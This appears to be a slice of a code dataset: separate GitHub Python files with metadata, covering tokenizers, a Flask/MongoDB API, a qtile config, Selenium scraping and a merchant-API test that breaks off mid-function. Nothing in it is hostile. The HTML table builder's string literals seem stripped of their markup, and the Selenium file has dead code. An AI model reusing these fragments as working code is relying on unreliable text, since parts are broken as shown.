BertWordPieceTokenizer\nfrom tokenizers.models import WordPiece, BPE\nfrom tokenizers.normalizers import NFD, Lowercase, Sequence, StripAccents\nfrom tokenizers.pre_tokenizers import Whitespace\nfrom tokenizers.processors import TemplateProcessing\n\n# https://huggingface.co/docs/tokenizers/python/latest/pipeline.html\nfrom tokenizers.trainers import WordPieceTrainer, BpeTrainer\nfrom transformers import BertTokenizer, PreTrainedTokenizerFast, BertTokenizerFast\n\nlogger = getLogger(__name__)\n\n\ndef write_vocab(tokenizer: Tokenizer, serialization_dir: str):\n vocab = [(w, i) for w, i in tokenizer.get_vocab().items()]\n vocab = sorted(vocab, key=lambda x: x[1])\n assert [i for _, i in vocab] == list(range(vocab[-1][1] + 1)), \"Vocabulary is not monotonic!\"\n words = \"\\n\".join([w for w, _ in vocab]) + \"\\n\"\n with open(os.path.join(serialization_dir, \"vocab.txt\"), \"w\") as f:\n f.write(words)\n logger.info(\"Wrote vocab to\" + serialization_dir)\n\n\ndef count_word_types(sentences: List[str]):\n vocab = set()\n for sentence in sentences:\n for token in sentence.split(\" \"):\n vocab.add(token)\n return len(vocab)\n\n\ndef train_tokenizer(\n sentences: List[str], serialize_path: str = \"\", model_type=\"wordpiece\", vocab_size=None\n) -> Tokenizer:\n # Some reference points for train splits:\n # - Greek: 9_058_227 words, 478_376 types\n # - Wolof: 517_237 words, 59_137 types\n # - Coptic: 970_642 words, 14_457 types\n # - Uyghur: 2_401_445 words, 368_585 types\n # - Maltese: 2_113_223 words, 319_083 types\n word_type_count = count_word_types(sentences)\n if vocab_size is None:\n vocab_size = 8_000 + max(0, int((word_type_count - 15000) * (6_000 / 450_000)))\n\n cls_token = \"[CLS]\"\n sep_token = \"[SEP]\"\n unk_token = \"[UNK]\"\n pad_token = \"[PAD]\"\n mask_token = \"[MASK]\"\n special_tokens = [pad_token, cls_token, sep_token, unk_token, mask_token]\n\n models = {\"wordpiece\": WordPiece, \"bpe\": BPE}\n if model_type not in models:\n raise Exception(f\"Unknown model type {model_type}. Valid models: {list(models.keys())}\")\n\n tokenizer = Tokenizer(models[model_type](unk_token=\"[UNK]\"))\n tokenizer.normalizer = Sequence(\n [\n NFD(),\n Lowercase(),\n # StripAccents()\n ]\n )\n tokenizer.pre_tokenizer = Whitespace()\n tokenizer.post_processor = TemplateProcessing(\n single=f\"{cls_token} $A {sep_token}\",\n pair=f\"{cls_token} $A {sep_token} $B:1 {sep_token}:1\",\n special_tokens=[\n (cls_token, 1),\n (sep_token, 2),\n ],\n )\n\n trainers = {\"wordpiece\": WordPieceTrainer, \"bpe\": BpeTrainer}\n if model_type not in trainers:\n raise Exception(f\"Unknown model type {model_type}. Valid models: {list(trainers.keys())}\")\n\n trainer = trainers[model_type](vocab_size=vocab_size, special_tokens=special_tokens)\n tokenizer.train_from_iterator(sentences, trainer=trainer)\n if serialize_path:\n full_tokenizer = BertTokenizerFast(\n tokenizer_object=tokenizer,\n cls_token=cls_token,\n sep_token=sep_token,\n unk_token=unk_token,\n pad_token=pad_token,\n mask_token=mask_token,\n bos_token=cls_token,\n eos_token=sep_token,\n )\n full_tokenizer.save_pretrained(serialize_path)\n write_vocab(tokenizer, serialize_path)\n return tokenizer\n\n\ndef train_bert_tokenizer(sentences: List[str], serialize_path: str, vocab_size: int = 6000) -> BertWordPieceTokenizer:\n tokenizer = BertWordPieceTokenizer(\n clean_text=True,\n handle_chinese_chars=False,\n strip_accents=False,\n lowercase=False,\n )\n tokenizer.train_from_iterator(\n sentences,\n vocab_size=vocab_size,\n min_frequency=2,\n show_progress=True,\n special_tokens=[\"[PAD]\", \"[UNK]\", \"[CLS]\", \"[SEP]\", \"[MASK]\"],\n limit_alphabet=500,\n wordpieces_prefix=\"##\",\n )\n\n # Save the files--first write out the vocab, then use BertTokenizer's save_pretrained\n tokenizer.save_model(serialize_path)\n bert_tokenizer = BertTokenizer.from_pretrained(serialize_path)\n bert_tokenizer.save_pretrained(serialize_path)\n # os.rename(\n # serialize_path + os.sep + \"tokenizer_config.json\",\n # serialize_path + os.sep + \"config.json\"\n # )\n return bert_tokenizer\n","repo_name":"lgessler/microbert","sub_path":"embur/tokenizers.py","file_name":"tokenizers.py","file_ext":"py","file_size_in_byte":4533,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"11"} +{"seq_id":"19309629921","text":"from flask import Flask, render_template, jsonify, request\nimport datetime\nimport pandas as pd\nimport pymongo\n\n\n\napp = Flask(__name__)\n\n\n\n\n@app.get('/')\ndef home():\n return render_template('index.html')\n\n\n@app.post('/get_plot')\ndef plot_chart():\n event = request.get_json()\n #print(event)\n event_type = event['Event_Type']\n event_date = event['Event_Date']\n event_file = event['Event_File']\n channel_list = event['channel_list']\n\n client = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n db = client[\"fdaq\"]\n\n table_name = ''\n if event_type == 'Beam Kill':\n table_name = 'beam_kill_event_collection'\n elif event_type == 'Ps Trip':\n table_name='ps_trip_event_collection'\n elif event_type == 'Rf Trip':\n table_name='rf_trip_event_collection'\n else:\n table_name = 'partial_loss_event_collection'\n\n event_collection = db[table_name]\n #print(table_name)\n channels_in_list_form = []\n for channel in channel_list:\n channels_in_list_form.append(f'Channel_{channel}')\n # print(channels_in_list_form)\n query = {'file_name':event_file}\n #print(query)\n projection={'_id':0,'timestamp_str':1}\n for i in channels_in_list_form:\n projection[i]=1\n \n cursor = event_collection.find(query,projection)\n arr_x = []\n channel_list_dict = {}\n for i in channels_in_list_form:\n channel_list_dict[i] = []\n for doc in cursor:\n #print(doc)\n arr_x.append(doc['timestamp_str']+' ')\n for i in range(len(channels_in_list_form)):\n channel_list_dict[channels_in_list_form[i]].append(doc[channels_in_list_form[i]])\n client.close()\n result_dict = {}\n result_dict['arr_x'] = arr_x\n for i in channels_in_list_form:\n result_dict[i] = channel_list_dict[i]\n #print(result_dict)\n return result_dict\n\n\n@app.post('/event_file')\ndef get_event_file_filter():\n event = request.get_json()\n #print(event)\n event_type = event['Event_Type']\n event_date = event['Event_Date']\n client = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n db = client[\"fdaq\"]\n filter_collection = db[\"filter_data_collection\"]\n query = {'event_name': event_type,'file_time':event_date}\n projection={'_id':0,'file_name':1}\n cursor = filter_collection.find(query,projection)\n dict = {\"file_names\": []}\n for doc in cursor:\n dict['file_names'].append(doc['file_name'])\n client.close()\n return jsonify(dict)\n\n\n@app.post('/on_load')\ndef plot_chart_on_load():\n client = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n db = client[\"fdaq\"]\n filename = None\n filter_collection = db[\"filter_data_collection\"]\n query = {'event_name': 'Beam Kill'}\n projection={'_id':0,'file_name':1}\n cursor = filter_collection.find(query,projection)\n for doc in cursor:\n filename = doc[\"file_name\"]\n break\n # break (needed to get latest filename)\n arr_x = []\n arr_y = []\n arr_dcct = []\n if filename:\n event_collection = db[\"beam_kill_event_collection\"]\n query = {'file_name': filename}\n projection={'_id':0,'Channel_1':1,'Channel_77':1,'timestamp_str':1}\n cursor = event_collection.find(query,projection)\n for doc in cursor:\n arr_x.append(doc['timestamp_str']+' ')\n arr_y.append(doc['Channel_1'])\n arr_dcct.append(doc['Channel_77'])\n client.close()\n dict = {}\n dict['arr_x'] = arr_x\n dict['arr_y'] = arr_y\n dict['arr_dcct'] = arr_dcct\n dict['file_name'] = filename\n dict['file_date'] = filename[6:10]+'-'+filename[3:5]+'-'+filename[0:2]\n\n return dict\n\n\n@app.post('/get_metrics_on_load')\ndef metrics_on_load():\n client = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n db = client[\"fdaq\"]\n filename = None\n filter_collection = db[\"filter_data_collection\"]\n query = {'event_name': 'Beam Kill'}\n projection={'_id':0,'file_name':1}\n cursor = filter_collection.find(query,projection)\n for doc in cursor:\n filename = doc[\"file_name\"]\n break\n if filename:\n event_collection = db[\"beam_kill_metric_collection\"]\n query = {'file_name': filename}\n #query = f\"select channel_1,channel_77 from partial_loss_metric_table where file_name='{filename}';\"\n cursor = event_collection.find(query)\n for doc in cursor:\n #channel_1_data = row.channel_1\n #channel_77_data = row.channel_77\n result_dict = {'channel_1': {}, 'channel_77': {}}\n result_dict['channel_1']['max_val'] = round(float(doc['Channel_1_max_value']), 4)\n result_dict['channel_1']['max_val_time'] = doc['Channel_1_max_timestamp']\n result_dict['channel_1']['min_val'] = round(float(doc['Channel_1_min_value']), 4)\n result_dict['channel_1']['min_val_time'] = doc['Channel_1_min_timestamp']\n result_dict['channel_1']['mean_squared_value'] = round(float(doc['Channel_1_rms']), 4)\n result_dict['channel_1']['mean_value'] = round(float(doc['Channel_1_mean']), 4)\n result_dict['channel_1']['std_value'] = round(float(doc['Channel_1_std']), 7)\n\n result_dict['channel_77']['max_val'] = round(float(doc['Channel_77_max_value']), 4)\n result_dict['channel_77']['max_val_time'] = doc['Channel_77_max_timestamp']\n result_dict['channel_77']['min_val'] = round(float(doc['Channel_77_min_value']), 4)\n result_dict['channel_77']['min_val_time'] = doc['Channel_77_min_timestamp']\n result_dict['channel_77']['mean_squared_value'] = round(float(doc['Channel_77_rms']), 4)\n result_dict['channel_77']['mean_value'] = round(float(doc['Channel_77_mean']), 4)\n result_dict['channel_77']['std_value'] = round(float(doc['Channel_77_std']), 7)\n client.close()\n return result_dict\n\n\n@app.post('/get_metrics')\ndef get_metrics():\n event = request.get_json()\n #print(event)\n event_type = event['Event_Type']\n event_file = event['Event_File']\n channel_list = event['channel_list']\n client = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n db = client[\"fdaq\"]\n table_name = ''\n if event_type == 'Beam Kill':\n table_name = 'beam_kill_metric_collection'\n elif event_type=='Rf Trip':\n table_name='rf_trip_metric_collection'\n elif event_type=='Ps Trip':\n table_name='ps_trip_metric_collection'\n else:\n table_name = 'partial_loss_metric_collection'\n channels_in_list_form = []\n for channel in channel_list:\n channels_in_list_form.append(f'Channel_{channel}')\n \n metric_collection = db[table_name]\n query = {'file_name':event_file}\n #projection={'_id':0,'timestamp_str':1}\n #for i in channels_in_list_form:\n # projection[i]=1\n \n cursor = metric_collection.find(query)\n\n list_metric_cw = []\n for i in range(0, len(channels_in_list_form)):\n list_metric_cw.append({'channel_no': channels_in_list_form[i]})\n\n for doc in cursor:\n for i in range(0, len(channels_in_list_form)):\n list_metric_cw[i]['max_val'] = round(float(doc[channels_in_list_form[i]+'_max_value']), 4)\n list_metric_cw[i]['max_val_time'] = doc[channels_in_list_form[i]+'_max_timestamp']\n list_metric_cw[i]['min_val'] = round(float(doc[channels_in_list_form[i]+'_min_value']), 4)\n list_metric_cw[i]['min_val_time'] = doc[channels_in_list_form[i]+'_min_timestamp']\n list_metric_cw[i]['mean_squared_value'] = round(float(doc[channels_in_list_form[i]+'_rms']), 4)\n list_metric_cw[i]['mean_value'] = round(float(doc[channels_in_list_form[i]+'_mean']), 4)\n list_metric_cw[i]['std_value'] = round(float(doc[channels_in_list_form[i]+'_std']), 7)\n client.close()\n return {'metrics': list_metric_cw}\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"secret-ninja26/abcd2","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37159436959","text":"import random\r\n\r\nx = 1\r\ny = 10\r\n\r\nnum = random.randint(x,y)\r\n\r\nprint('Indovina il numero tra ', x, ' e ', y)\r\n\r\nfor i in range(0,3):\r\n user = int(input('Prova un numero: '))\r\n if user == num:\r\n print('Hai indovinato bro !!!')\r\n else:\r\n print('Me spiace bro ritenta')\r\n","repo_name":"R4ULtv/easy-project","sub_path":"guess_the_number_game.py","file_name":"guess_the_number_game.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"it","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"37711403257","text":"#encoding: utf-8\n\nfrom math import ceil\nfrom time import ctime\n\nfrom cnfg import num_user_line\n\ndef get_action(is_admin, usr, task, str_tid=None):\n\n\t_str_tid = str(task.tid) if str_tid is None else str_tid\n\trs = [\"创建\" % (_str_tid,)]\n\tif is_admin or (usr == task.usr):\n\t\tif task.etime is None:\n\t\t\tif (task.stime is None) and (task.usr is not None):\n\t\t\t\trs.append(\"更新\" % (_str_tid,))\n\t\t\trs.append(\"取消\" % (_str_tid,))\n\n\treturn \" \".join(rs)\n\ndef task_info_html_no_action(task):\n\n\t_str_tid = str(task.tid)\n\treturn [_str_tid, str(task.usr), task.wkd, task.cmd, task.stdout, task.stderr, str(task.ngpu), \"None\" if task.force_gpuids is None else \",\".join([str(_) for _ in task.force_gpuids]), \"None\" if task.real_gpuid_args is None else task.real_gpuid_args, \"None\" if task.gpuids is None else \",\".join([str(_) for _ in task.gpuids]), str(task.timeout), str(task.pid), \"None\" if task.ctime is None else ctime(task.ctime), \"None\" if task.stime is None else ctime(task.stime), \"None\" if task.etime is None else ctime(task.etime), \"None\" if task.status is None else task.status, task.email, task.desc]\n\ndef task_info_html(is_admin, task, usr):\n\n\t_str_tid = str(task.tid)\n\treturn [_str_tid, str(task.usr), task.wkd, task.cmd, task.stdout, task.stderr, str(task.ngpu), \"None\" if task.force_gpuids is None else \",\".join([str(_) for _ in task.force_gpuids]), \"None\" if task.real_gpuid_args is None else task.real_gpuid_args, \"None\" if task.gpuids is None else \",\".join([str(_) for _ in task.gpuids]), str(task.timeout), str(task.pid), \"None\" if task.ctime is None else ctime(task.ctime), \"None\" if task.stime is None else ctime(task.stime), \"None\" if task.etime is None else ctime(task.etime), \"None\" if task.status is None else task.status, task.email, task.desc, get_action(is_admin, usr, task, str_tid=_str_tid)]\n\ndef build_html_table_head(headl):\n\n\trs = [\"\"]\n\tfor head in headl:\n\t\trs.append(\"%s\" % (head,))\n\trs.append(\"\")\n\n\treturn rs\n\ndef build_html_table_row(row):\n\n\trs = [\"\"]\n\tfor ru in row:\n\t\trs.append(\"%s\" % (ru,))\n\trs.append(\"\")\n\n\treturn rs\n\ndef build_html_user_table_row(row, is_admin=False):\n\n\trs = [\"\"]\n\tif is_admin:\n\t\tfor ru in row:\n\t\t\tif ru:\n\t\t\t\t_usr, _serv_usr, _priority = ru\n\t\t\t\t_note = []\n\t\t\t\tif _serv_usr != _usr:\n\t\t\t\t\t_note.append(_serv_usr)\n\t\t\t\tif _priority != 1.0:\n\t\t\t\t\t_note.append(\"%.2f\" % (_priority,))\n\t\t\t\trs.append(\"%s(%s) 设置\" % (_usr, _usr, \" \".join(_note), _usr,) if _note else \"%s 设置\" % (_usr, _usr, _usr,))\n\t\t\telse:\n\t\t\t\trs.append(\"\")\n\telse:\n\t\tfor ru in row:\n\t\t\tif ru:\n\t\t\t\t_usr, _serv_usr, _priority = ru\n\t\t\t\trs.append(\"%s\" % (_usr, _usr,) if _usr == _serv_usr else \"%s(%s)\" % (_usr, _usr, _serv_usr,))\n\t\t\telse:\n\t\t\t\trs.append(\"\")\n\trs.append(\"\")\n\n\treturn rs\n\ndef build_html_task_table(is_admin, usr, head=(\"任务ID\", \"用户名\", \"工作路径\", \"执行命令\", \"标准输出文件\", \"标准错误文件\", \"显卡数量\", \"限制显卡ID\", \"传递设备ID\", \"显卡ID\", \"运行时间限制\", \"PID\", \"创建时间\", \"开始时间\", \"结束时间\", \"状态\", \"通知邮件\", \"任务描述\", \"操作\",), content=None):\n\n\trs = [\"\"]\n\tif head is not None:\n\t\trs.extend(build_html_table_head(head))\n\tif content is not None:\n\t\tfor task in content:\n\t\t\trs.extend(build_html_table_row(task_info_html(is_admin, task, usr)))\n\trs.append(\"
\")\n\n\treturn \"\\n\".join(rs)\n\ndef build_html_task_table_no_action(head=(\"任务ID\", \"用户名\", \"工作路径\", \"执行命令\", \"标准输出文件\", \"标准错误文件\", \"显卡数量\", \"限制显卡ID\", \"传递设备ID\", \"显卡ID\", \"运行时间限制\", \"PID\", \"创建时间\", \"开始时间\", \"结束时间\", \"状态\", \"通知邮件\", \"任务描述\",), content=None):\n\n\trs = [\"\"]\n\tif head is not None:\n\t\trs.extend(build_html_table_head(head))\n\tif content is not None:\n\t\tfor task in content:\n\t\t\trs.extend(build_html_table_row(task_info_html_no_action(task)))\n\trs.append(\"
\")\n\n\treturn \"\\n\".join(rs)\n\ndef build_user_table(content=None, is_admin=False):\n\n\trs = [\"\"]\n\tif content and (content is not None):\n\t\tsind = 0\n\t\tnum_users = len(content)\n\t\t_num_user_line = int(ceil(num_user_line / 2.0)) if is_admin else num_user_line\n\t\t_pad_line = num_users > _num_user_line\n\t\twhile sind < num_users:\n\t\t\teind = sind + _num_user_line\n\t\t\tif eind <= num_users:\n\t\t\t\trs.extend(build_html_user_table_row(content[sind:eind], is_admin=is_admin))\n\t\t\telse:\n\t\t\t\t_lined = content[sind:num_users]\n\t\t\t\tif _pad_line:\n\t\t\t\t\t_lined.extend([\"\" for i in range(eind - num_users)])\n\t\t\t\trs.extend(build_html_user_table_row(_lined, is_admin=is_admin))\n\t\t\tsind = eind\n\trs.append(\"
\")\n\n\treturn \"\\n\".join(rs)\n","repo_name":"hfxunlp/gpu-manager","sub_path":"utils/fmt/html.py","file_name":"html.py","file_ext":"py","file_size_in_byte":4951,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"3766712993","text":"import pyeccodes.accessors as _\n\n\ndef load(h):\n\n h.add(_.Constant('GRIBEXSection1Problem', (300 - _.Get('section1Length'))))\n _.Template('grib1/mars_labeling.def').load(h)\n h.add(_.Unsigned('perturbationNumber', 1))\n h.alias('number', 'perturbationNumber')\n h.add(_.Unsigned('numberOfForecastsInEnsemble', 1))\n h.alias('totalNumber', 'numberOfForecastsInEnsemble')\n h.add(_.Unsigned('modelIdentifier', 1))\n h.add(_.Signed('latitudeOfNorthWestCornerOfArea', 4))\n h.add(_.Signed('longitudeOfNorthWestCornerOfArea', 4))\n h.add(_.Signed('latitudeOfSouthEastCornerOfArea', 4))\n h.add(_.Signed('longitudeOfSouthEastCornerOfArea', 4))\n h.add(_.Unsigned('originalParameterNumber', 1))\n h.add(_.Unsigned('originalParameterTableNumber', 1))\n h.add(_.Pad('padding_loc50_1', 46))\n h.add(_.Ascii('optionalData', 184))\n","repo_name":"ecmwf/pyeccodes","sub_path":"pyeccodes/defs/grib1/local_98_50_def.py","file_name":"local_98_50_def.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"fa","doc_type":"code","stars":7,"dataset":"github-code","pt":"11"} +{"seq_id":"8376444856","text":"\"\"\"\nLearn to parse the text within each cell of a table\n\nDISCLAIMER: This code is aimed at Selenium BEGINNERS\nFor more advanced tutorials and to learn how Qxf2 writes GUI automation, please visit our:\na) Our GUI automation guides: http://qxf2.com/gui-automation-diy\nb) Other GitHub repos: https://github.com/qxf2\n\nAUTHOR: Avinash Shetty\nContact: avinash@qxf2.com\n\nSCOPE:\n1) Launch Firefox driver\n2) Navigate to Qxf2 Tutorial page\n3) Get all the fields from the table\n4) Close the browser\n\"\"\"\nimport time\nfrom selenium import webdriver\ndef test_table():\n class table():\n def table_text(self):\n# Create an instance of WebDriver\n self.driver = webdriver.Chrome()\n# Maximize the browser window\n self.driver.maximize_window()\n# Navigate to Qxf2 Tutorial page\n self.driver.get(\"https://www.google.com/search?q=fifa+points+table&oq=fifa+points+&aqs=chrome.0.0i433i512j69i57j0i512l8.10310j1j15&sourceid=chrome&ie=UTF-8#sie=lg;/m/0fp_8fm;2;/m/030q7;st;fp;1;;;\")\n\n# KEY POINT: Logic to get the text in each cell of the table\n# Find the Example table element in the page\n table = self.driver.find_element(\"xpath\",\"//div[@jsname='LS81yb']\")\n# Use find_elements_by_xpath method to get the rows in the table\n rows = table.find_elements(\"xpath\",\"//tbody/descendant::tr\")\n# Create a list to store the text\n result_data = []\n# Go to each row and get the no of columns and the navigate to column\n# Then get the text from each column\n for i, row in enumerate(rows):\n # Find no of columns by getting the td elements in each row\n cols = row.find_elements(\"tag_name\",\"td\")\n cols_data = []\n for j, col in enumerate(cols):\n # Get the text of each field\n cols_data.append(col.text.encode('utf-8'))\n result_data.append(cols_data)\n\n# Print the result list\n print(result_data)\n\n# Pause the script for 3 sec\n time.sleep(3)\n \n\n# Close the browser\n self.driver.close()\n # Close the browser\n self.driver.close()\n class facade():\n def __init__(self):\n self.action=table()\n def check(self):\n self.action.driver","repo_name":"ambigai-rajan/Qxf2_internship_22","sub_path":"test_table_text.py","file_name":"test_table_text.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"4935574392","text":"from django.urls import path\r\nfrom django.contrib.auth.views import LoginView, LogoutView\r\nfrom .views import *\r\n\r\n\r\nurlpatterns = [\r\n # Colocar nome do usuário como url #\r\n path('register/', UserCreate, name='user-register'),\r\n path('login/', LoginView.as_view(template_name='user_form.html'), name='login'),\r\n path('logout/', LogoutView.as_view(), name='logout'),\r\n path('profile/', ProfileView, name='profile'),\r\n path('profile/update/', ProfileUpdate, name='profile-update'),\r\n # Modificar Delete #\r\n path('delete/', UserDelete.as_view(), name='user-delete'),\r\n]","repo_name":"Pedro-Cat/MyGameList","sub_path":"Mgl/user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"30112594513","text":"from class_cliente import cliente\nfrom manejadorReparaciones import manejadorReparacion\n\nclass manejadorClientes: \n \n def carga(clientes): \n with open (\"Practico Tema2/archivos/clientes.csv\", 'r') as fileCliente:\n next (fileCliente)\n for file in fileCliente:\n file = file.split(';')\n cl = cliente(file[0], file[1], file[2], file[3], file[4], file[5], file[6])\n clientes.append(cl)\n \n print(\"== Clientes cargados == \")\n \n def muestra(clientes):\n print(\"Apellido - Nombre - DNI\")\n for i in range(len(clientes)):\n clientes[i].getInfo() \n \n def getPatente (clientes, dni):\n pat = \"\"\n for i in range(len(clientes)):\n if(clientes[i].getDNI() == dni):\n pat = clientes[i].getPatente()\n return pat\n \n def getClienteByDNI (clientes, dni):\n band = False\n i = 0\n while i < len(clientes) and band == False:\n if(clientes[i].getDNI() == dni):\n band = True\n else:\n i+=1\n return i \n \n \n \n def modulo1(clientes, reparaciones):\n dni = \"21111223\" #input(\"Ingrese DNI > \")\n patente = manejadorClientes.getPatente(clientes, dni)\n cID = manejadorClientes.getClienteByDNI(clientes, dni)\n print(\"\\n\")\n clientes[cID].getInfo()\n clientes[cID].getVehiculo()\n manejadorReparacion.getReparacionesByPatente(reparaciones, patente)\n ","repo_name":"santigrillo/Python-POO","sub_path":"Unidad 2/Practico Tema2/manejadorClientes.py","file_name":"manejadorClientes.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"12034409071","text":"import os\nimport subprocess\n\nfrom libqtile.config import (\n # KeyChord,\n # Key,\n Screen,\n # Group,\n # Drag,\n # Click,\n # ScratchPad,\n # DropDown,\n # Match,\n)\n\nfrom libqtile import bar, widget # , hook, layout\nfrom libqtile import qtile\nfrom colors import colors\n\nterminal = \"alacritty\"\n\n\ndef open_pavu():\n qtile.cmd_spawn(\"pavucontrol\")\n\n\ngroup_box_settings = {\n \"padding\": 5,\n \"borderwidth\": 4,\n \"active\": colors[9],\n \"inactive\": colors[10],\n \"disable_drag\": True,\n \"rounded\": True,\n \"highlight_color\": colors[2],\n \"block_highlight_text_color\": colors[8],\n \"highlight_method\": \"block\",\n \"this_current_screen_border\": colors[0],\n \"this_screen_border\": colors[7],\n \"other_current_screen_border\": colors[0],\n \"other_screen_border\": colors[0],\n \"foreground\": colors[1],\n # \"background\": colors[14],\n \"urgent_border\": colors[3],\n}\n\ntext_size = 18\nicon_size = 14\n\n\ndef init_widgets():\n return [\n # widget.TextBox(\n # text=\"\",\n # foreground=colors[1],\n # fontsize=20,\n # padding=20,\n # ),\n widget.Sep(\n linewidth=0,\n foreground=colors[2],\n padding=20,\n size_percent=40,\n ),\n widget.GroupBox(\n font=\"Hack Nerd Font\",\n **group_box_settings,\n fontsize=12,\n ),\n widget.Sep(\n linewidth=0,\n foreground=colors[2],\n padding=10,\n size_percent=40,\n ),\n widget.CurrentLayoutIcon(\n custom_icon_paths=[os.path.expanduser(\"~/.config/qtile/icons\")],\n foreground=colors[1],\n padding=-2,\n scale=0.45,\n ),\n widget.Sep(\n linewidth=0,\n foreground=colors[2],\n padding=10,\n size_percent=50,\n ),\n widget.Systray(\n padding=10,\n ),\n widget.CheckUpdates(\n foreground=colors[3],\n colour_have_updates=colors[3],\n distro=\"Ubuntu\",\n display_format=\" {updates}\",\n padding=20,\n update_interval=300,\n mouse_callbacks={\n \"Button1\": lambda: qtile.cmd_spawn(\n terminal + \" -e sudo apt update -y && sudo apt upgrade -y\"\n )\n },\n ),\n widget.Spacer(),\n widget.Sep(\n linewidth=0,\n padding=25,\n size_percent=50,\n ),\n widget.TextBox(\n text=\" \",\n foreground=colors[8],\n font=\"Font Awesome 5 Free Solid\",\n fontsize=icon_size,\n ),\n widget.PulseVolume(\n foreground=colors[1],\n limit_max_volume=\"True\",\n update_interval=0.1,\n mouse_callbacks={\"Button3\": open_pavu},\n fontsize=text_size,\n ),\n widget.Sep(\n linewidth=0,\n padding=25,\n size_percent=50,\n ),\n widget.TextBox(\n text=\"\",\n font=\"Font Awesome 5 Free Solid\",\n foreground=colors[1],\n fontsize=icon_size,\n ),\n widget.CPU(\n foreground=colors[1],\n update_interval=1,\n format=\"{load_percent: .0f} %\",\n fontsize=text_size,\n ),\n widget.NetGraph(type=\"line\", graph_color=colors[8], interface=\"wlo1\"),\n widget.TextBox(\n text=\" \",\n font=\"Font Awesome 5 Free Solid\",\n fontsize=icon_size,\n foreground=colors[8],\n ),\n widget.Clock(\n format=\"%b %d\",\n foreground=colors[1],\n fontsize=text_size,\n ),\n widget.Sep(\n linewidth=0,\n padding=25,\n size_percent=50,\n ),\n widget.TextBox(\n text=\" \",\n font=\"Hack Nerd Font\",\n foreground=colors[8],\n fontsize=14,\n ),\n widget.Clock(\n format=\"%H:%M\",\n foreground=colors[1],\n fontsize=text_size,\n ),\n widget.Sep(\n linewidth=0,\n foreground=colors[1],\n padding=25,\n size_percent=50,\n ),\n ]\n\n\ndef make_bar():\n return bar.Bar(\n init_widgets(),\n 32,\n margin=[0, -10, 5, -10],\n )\n\n\nscreens = [Screen(top=make_bar()), Screen(top=make_bar())]\n","repo_name":"emiliode/dotfiles","sub_path":"qtile/.config/qtile/screens.py","file_name":"screens.py","file_ext":"py","file_size_in_byte":4465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17175720082","text":"import requests\nimport json\nfrom cfg import *\nimport pymssql\n#登录商户APP\n\nclass log():\n def __init__(self,username,password,sort):\n self.user=username\n self.password=password\n self.sort=sort\n\n def login(self):\n data={\"phone\":self.user,\"passWord\":self.password}\n js=json.dumps(data)\n # data=\"{\\\"phone\\\":\\\"\"+self.user+\"\\\",\\\"passWord\\\":\\\"\"+self.password+\"\\\"}\"\n header={\"Content-Type\":\"application/json\"}\n # respon=requests.post(\"http://192.168.0.213:58583/api/Auth/login\",data=data,headers=header)\n respon=requests.post(self.sort+\"/api/Auth/login\",data=js,headers=header)\n res=respon.json()\n tokenid=res['data']['Token']\n print(tokenid)\n return tokenid\n\n\nclass goods():\n#添加商品\n def __init__(self,tokenid,sort):\n self.tokenid=tokenid\n self.sort=sort\n def addgoods(self,GoodsName,GoodsNorms,PurchasePrice,OfferPrice,GoodsCount,Sort,GoodsImage,GoodsExplain,GoodsDetails):\n data={\n \"GoodsName\": GoodsName,\n \"GoodsNorms\": GoodsNorms,\n \"PurchasePrice\": PurchasePrice,\n \"OfferPrice\": OfferPrice,\n \"GoodsCount\": GoodsCount,\n \"Sort\": Sort,\n \"GoodsImage\": GoodsImage,\n \"GoodsExplain\": GoodsExplain,\n \"GoodsDetails\": GoodsDetails\n }\n js=json.dumps(data)\n header = {\"Content-Type\": \"application/json\",'Authorization':self.tokenid}\n respon=requests.post(self.sort+\"/api/Merchants/addgoods\",data=js,headers=header)\n print(respon.json())\n\n#列出商品\n def listgoods(self):\n header = {\"Content-Type\": \"application/json\", 'Authorization': self.tokenid}\n respon=requests.get(self.sort+\"/api/Merchants/goods\",headers=header)\n res=respon.json()\n goodsid=res[\"data\"][\"MyGoods\"][0][\"GoodsId\"]\n print(goodsid)\n print(res)\n goodslist=res[\"data\"][\"MyGoods\"]\n # count= goodslist.count\n # newgood=goodslist[count-1]\n #返回商品ID和商品列表\n return goodsid,goodslist\n\n#检查商品是否添加成功\n def checkgoods(self,GoodsName,GoodsNorms,PurchasePrice,OfferPrice,GoodsCount,Sort,GoodsImage,GoodsExplain,GoodsDetails):\n self.addgoods()\n goodsid,goodslist=self.listgoods()\n\n data = {\n \"GoodsName\": GoodsName,\n \"GoodsNorms\": GoodsNorms,\n \"PurchasePrice\": PurchasePrice,\n \"OfferPrice\": OfferPrice,\n \"GoodsCount\": GoodsCount,\n \"Sort\": Sort,\n \"GoodsImage\": GoodsImage,\n \"GoodsExplain\": GoodsExplain,\n \"GoodsDetails\": GoodsDetails\n }\n for a in goodslist:\n if data[\"GoodsName\"]==a[\"GoodsName\"] and data[\"GoodsNorms\"]==a[\"GoodsNorms\"] and float(data[\"PurchasePrice\"])==float(a[\"PurchasePrice\"]) and float(data[\"OfferPrice\"])==float(a[\"OfferPrice\"]) and data[\"GoodsImage\"]==a[\"PicUri\"]:\n print(\"添加成功\")\n else:\n 